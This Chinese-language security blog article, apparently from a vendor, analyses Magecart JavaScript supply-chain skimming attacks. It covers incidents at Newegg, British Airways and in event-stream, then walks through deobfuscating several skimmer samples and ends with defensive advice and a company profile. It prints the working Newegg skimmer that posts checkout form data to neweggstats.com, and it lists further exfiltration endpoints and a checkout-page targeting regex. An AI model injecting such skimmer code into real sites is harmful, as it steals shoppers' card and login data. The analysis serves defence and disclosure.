技术干货 | JS供应链攻击恶意代码分析 – 作者:riversecurity

image.png

JS供应链攻击,或者又叫Magecart攻击,是指通过向第三方JS供应链中注入恶意JS代码,以获取网站的支付信息和用户信息的攻击行为。

Magecart是安全研究人员对至少 11 个不同黑客组织的总称,这些组织专门在电商网站上植入恶意软件代码,悄悄窃取客户的支付信息。

目前,这类攻击正变得越来越频繁,它们主要通过被黑的广告链或者伪造成GoogleAnalytics code来插入电商网站或者大型网站,以窃取用户信息和支付信息。

据相关安全统计,国外已经有大量电商网站遭到这类攻击,并且导致了网站用户信息和支付信息的大规模泄露。

image.png2015年:

Magecart攻击开始活跃,其最初两年的目标是Magento在线商店,2017年底至2018年初开始改变策略,转将目标瞄向主要服务,尤其是托管Web 基础设施。

2018年:

Magecart曾制造过针对英国航空公司、Ticketmaster和 Newegg等知名国际公司网络攻击的大新闻。

9月6日:英国航空公司遭遇黑客攻击,包括个人基本信息和付款记录的客户数据被泄露。

9月13日:Feedify网站被黑客攻击并植入MageCart恶意脚本,该恶意脚本可以窃取用户提交的信用卡资料和其他信息。

9月20日:Newegg网站在被植入用来窃取客户付款信息的MageCart脚本后的一个多月,终于发现其被动的现状。

Magecart黑客还通过将代码插入到Adverline流行的第三方JavaScript 库中,使得277个电子商务网站受到供应链攻击。这些电子商务网站主要提供票务、旅游和航班预订服务,以及一些来自名牌化妆品、医疗保健和名牌服装的自托管购物网站。

黑客攻击团队Magecart Groups 5和Magecart Groups 12通过向JavaScript库注入skimming代码来攻击电子商务网站使用的第三方服务。这使得嵌入脚本的所有网站都可以加载skimming代码。覆盖范围的扩大,也为黑客窃取更多数据提供了便利。

11月21日:

名为FallingSnow的用户在知名JavaScript应用库event-stream的github Issuse中表示发现event-stream中存在用于窃取用户数字钱包的恶意代码。该package中的恶意代码主要作用是:窃取用户的钱包信息(包括私钥),并将其发送到copayapi.host的8080端口上。随后,Right9ctrl发布了包含新依赖关系的Event-Stream 3.3.6 – Flatmap-Stream0.1.1。其中,Flatmap-Stream v0.1.1 正是是包含恶意代码的npm package。

下图是Event-Stream 3.3.6版本的影响范围:

image.png

根据这些统计信息不难看出,Magecart攻击的范围随着时间的推移越来越广泛和多种多样,而本文就是针对对攻击注入的恶意JS进行分析,分析其恶意代码和恶意行为,看其是如何获取用户信息和支付信息的。

image.png

攻击的恶意代码并不会直接注入被攻击的电网网站,而是会通过JS供应链来进行攻击,例如直接入侵或者利用漏洞注入在线广告公司的第三方JavaScript库,或者伪造成Google Analytics code。例如有的攻击脚本使用了Google Analytics名称的变体,使其看起来不那么可疑,并因此逃避了网站所有者的检测,成功将恶意代码被混淆并注入合法的JS文件。

混淆的代码从www.google-analytics.cm/analytics.js加载,该网址与真正的Google Analytics位置www.google-analytics.com/analytics.js非常相似。但是顶级域名是cm而非com。

如果去分析这些恶意JS样本,会发现一个特点,他们会混淆和伪装成Google Analytics code该有的一些特定特征。下图就是一个混淆伪装之后的js,表面看起来相当复杂,但是如果花时间对其进行分析,就会发现代码中隐藏的恶意行为。

image.png下图是一个简易的攻击图示:

image.png流程说明如下:

  1. 攻击者入侵或者通过漏洞在第三广告提供商的JS库中插入恶意代码

  2. 如果电商使用了被入侵第三方广告商JS库,恶意JS将会被载入电商的网站中

  3. 当用户在登录网站或者支付商品时恶意代码将会获取这些信息

  4. 再通过设定好的方式发送到指定的接受处

image.png这里我们先讲一个简单的案例,据网络威胁检测公司Volexity称,国外电商网站Newegg(新蛋网)遭到了Magecart组织的网络攻击,这是继英国航空公司、Ticketmaster、Feedify后,出现的最新受害者。实际上之前我还用过这个电商网站购物,它算是电商界鼻祖级别的购物平台了,但是在国内京东崛起之后它就基本消失了,变得比较小众,估计很多现在的年轻人都没有听说过这个电商平台。

具体来说,Newegg完整的用户信息与银行卡信息在2018年8月16日-9月18日之间被Magecart盗取。攻击者在Newegg网站的结账页面插入了几行恶意Javascript代码,这些网页捕获了在网站上进行购买的客户的付款信息,然后将其发送到私人注册域neweggstats.com。预计有数百万人的银行卡信息被盗取

当用户在Newegg购买商品时,他们首先会被要求填写收货信息,然后跳转至付款页面,输入支付信息。正是在这个Newegg采集付款信息的页面上,被注入了下面显示的15行MageCart脚本。

window.onload=function(){
    jQuery(‘#btnCreditCard.paymentBtn.creditcard’).bind(“mouseptouchend”,function (e) {
        var dati =jQuery(“#checkout”);
        var pdati=JSON.stringify(dati.serializeArray());
        setTimeout(function () {
            jQuery.ajax({
                type:”POST”,
                async:true,
                url:”https://www.neweggstats.com/GlobalData/“,
                data: pdati,
                dataType:’application/json’
            });
            
        },250);
        
    });
};

当页面加载时,脚本会将自己绑定到用户输入信用卡详细信息后按下的提交按钮。当提交按钮被按下,脚本就会获取表单的内容。因此在网站被攻击的期间,攻击者可以在不中断结账过程的前提下,悄悄窃取那些从Newegg上购买商品的顾客的信用卡详细信息,并将其转换为JSON,然后上传到https://neweggstats.com/GlobalData站点。这个neweggstats站点并不归Newegg所有,其实际操作者正是攻击者本身。但是,对于用户而言,他们并不会发现购物过程中的任何异常,只会继续购买,就像没有发生任何事情一样。

image.png这个章节我们将对获取到的一些恶意JS样本做详细分析,主要分析这些恶意样本的恶意行为。

image.png该样本是一个获取用户登录信息的恶意js,通过VirusTotal在线威胁情报平台检测可以看到其存在恶意行为:

image.png1. 将样本JS引入到测试HTML中,观察样本JS的结构,发现大部分代码是变量定义,于是从当前JS源文件中的一处循环语句中下一个断点,发现一段中间生成的代码。

image.png2. 把生成的代码放入当前页面中,继续跟踪调试:

image.png

3. 简单变量初始化后,有一个IF判断,其实会对当前地址做检测,如下:

image.png

4. 此判断条件解密之后如下:

newRegExp(/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/).test(window.location)

即,判断当前地址中是否包含看起来像电商系统的常用单词,因此我们修改为:

RegExp(/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/).test(window.location+ “order”),

通过修改判断条件为真继续跟踪,发现一个远程连接:

image.png5. 经过一系列的变量定义和转换,跟踪到一个函数(contentcachecontrol)定义,如下:

image.png6. 但是contentcachecontrol本身未定义,可能在其他地方定义,然后观察内部逻辑,发现主要是对nowwork变量进行赋值,所以我们暂时先强制:nowwork = true, 继续跟踪:

image.png7. 发现代码在查找页面中的表单数据,接下来的循环代码会在所有的form中添加eventListener,即监听表单事件,因此我们在测试页面中复制testfire(http://demo.testfire.net)的登录表单:

image.png8. 看到在form的change事件做了监听:

image.png9. 上图即是还原后的代码,我们再查看当form change时localStorage里面的情况

image.png

10. 可以看到,样本把整个form数据都存在了localStorage里面,并作了base64转换

image.png

11. 最终,当JS样本发现Cache中有值时,向之前发现的远程地址https://content-delivery.cc/cdn/font.js发起post请求,请求数据为上图的内容,包含用户名、密码、域名等用户信息。

image.png

第二个样本结构与上一个样本类似,

恶意行为与上一个样本一致,只是远程地址变为了:https://cdn-content.cc/cdn/init.js

image.png

 这个样本主要就是我们之前提到的伪装混淆成了Google Analytics Code的案例。

1. 跟踪恶意JavaScript代码样本,发现一些可疑字段:

image.png2. 由于不知道判断点,先改文件名称,尝试让样本工作,在文件名中添加了”login”关键字,发现事件监听:

image.png3. 添加了”click”事件,代码如下图:

image.png

4. 但是下断点后,未能触发事件,继续分析,发现可能存在判断条件:

image.png5. 发现样本在遍历”input, select, textarea,checkbox”这些标签的行为:

image.png

6. 经过反复调试发现无法触发事件,于是使用静态分析方法,直接还原代码,还原出样本行为,还原后的关键代码如下:

image.png

7. 根据还原之后的样本对代码进行解读,样本主要行为是在页面的 

“button,.form-button,.onestepcheckout-button,.btn,#onestepcheckout-place order,.onestepcheckout-place-order, .onestepcheckout-place-order-wrapper” 

中添加click事件,当事件触发时,会执行以下流程:

  • ·  检查window.location是否包含一些关键字,然后遍历页的输入标签,把标签的name及value存在localStorage中,并且把所有标签的name及value赋值给临时变量。

  • ·  在localStorage中生成一个16位随机值的gaudid,如果已经生成过,就不会再变化。

  • ·  检查两个固定标签,推测是此处是针对某指定网站的特定页面,标签ID分别为sectionBillingAddress、sectionDeliveryAddress,看起来与订单地址相关,这两个标签的内容同样被存入localStorage中。

  • ·  取出所有localStorage中的值,并使用GibberishAES.enc加密,密钥为4d25a9bb5f714290adb1********************************************

  • ·  向远程地址发送盗取所有的数据,远程地址为

    //g-*******.com/__utm.gif?v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560×1440&vp=2145×371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071

8. 恶意请求如下图:

image.pngimage.png

将样本JS引入到测试HTML中,先运行样本,观察样本JS的结构,发现此样本混淆强度更高,并且直观看起来更像是Goolge分析的脚本:

经过分析发现,这个恶意样本与第三个样本行为几乎一致,但是混淆更高级,功能更完整,并且在分析环境中都能完成数据盗取,同时还做了伪装,假冒google的脚本,应该是较为成熟的版本。

image.png

Magecart组织正在对电子商务网站进行全面攻击,并且没有停止的迹象。随着不断的攻防对抗,这些攻击只会越来越多并且会越来越复杂。虽然最初的攻击只涉及低级Magento商店,但后来的攻击针对的则是CDN,以此增加其攻击的覆盖范围,攻击任何他们认为能够或者值得取得数据的各种网站。

从经过分析的几个恶意样本来看,它们均采用了混淆技术,既包括简单的针对字符串的混淆,也有较为高级的对控制流程的混淆;同时还有伪装,如定义googleanalytics这样的变量名。不过由于是基于浏览器盗取用户信息的JS恶意样本,攻击手法基本上就是在页面中添加事件监听来抓取用户的输入数据。

对于相关企业而言,由于目前此类Magecart攻击和利用都发生在用户端,因此相较于利用服务器安全漏洞发起的攻击更不易被发现。但这并非是企业放松的理由。随着网络服务对各个领域的不断渗透,个人信息保护会愈加受到人们的重视,这势必要求企业承担起保护用户信息的责任,重视此类攻击并积极主动地进行防御。

image.png

1. 最好尽可能从登录页面或者结帐页面中删除第三方代码,禁止第三方代码在客户支付信息输入的页面上运行。或者对引用的第三方代码进行安全审查和定期检测。

2. 由于攻击者通常会利用在线电商软件中的已知漏洞,因此强烈建议网站管理员及时更新系统和补丁,限制关键系统的权限以及加强 Web 服务器管理等。在线购物客户也应当定期检查信用卡对账单,及时报告未授权的交易。

3. 针对类似ajax, sendbeacon,websocket等接口做检查,可以有效防御此类攻击。
4. 针对此类攻击,瑞数信息也可以提供动态安全解决方案,通过对页面输入进行即时加密(类似银行控件),从而在恶意JS获取数据之前就对输入的每个数据进行加密,或者以更为严格的同源策略进行有效防御。
image.png

瑞数信息技术(上海)有限公司,专注于提供互联网应用安全保护解决方案,总部位于上海,并且在成都设立了研发中心,在北京和深圳分别设有分支机构。

瑞数信息的核心团队由国内外各大著名安全厂商的前骨干成员组成,在信息安全行业具有深厚的技术背景和经验。瑞数信息是国内首家将创新的“动态安全”防御理念融合到网页及移动应用保护中的安全厂商,拥有多项全球独家的动态安全技术,可以有效抵御各类自动化漏洞扫描或模拟合法操作的交易欺诈行为。

image.png

 

来源:freebuf.com 2019-06-17 16:09:44 by: riversecurity

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论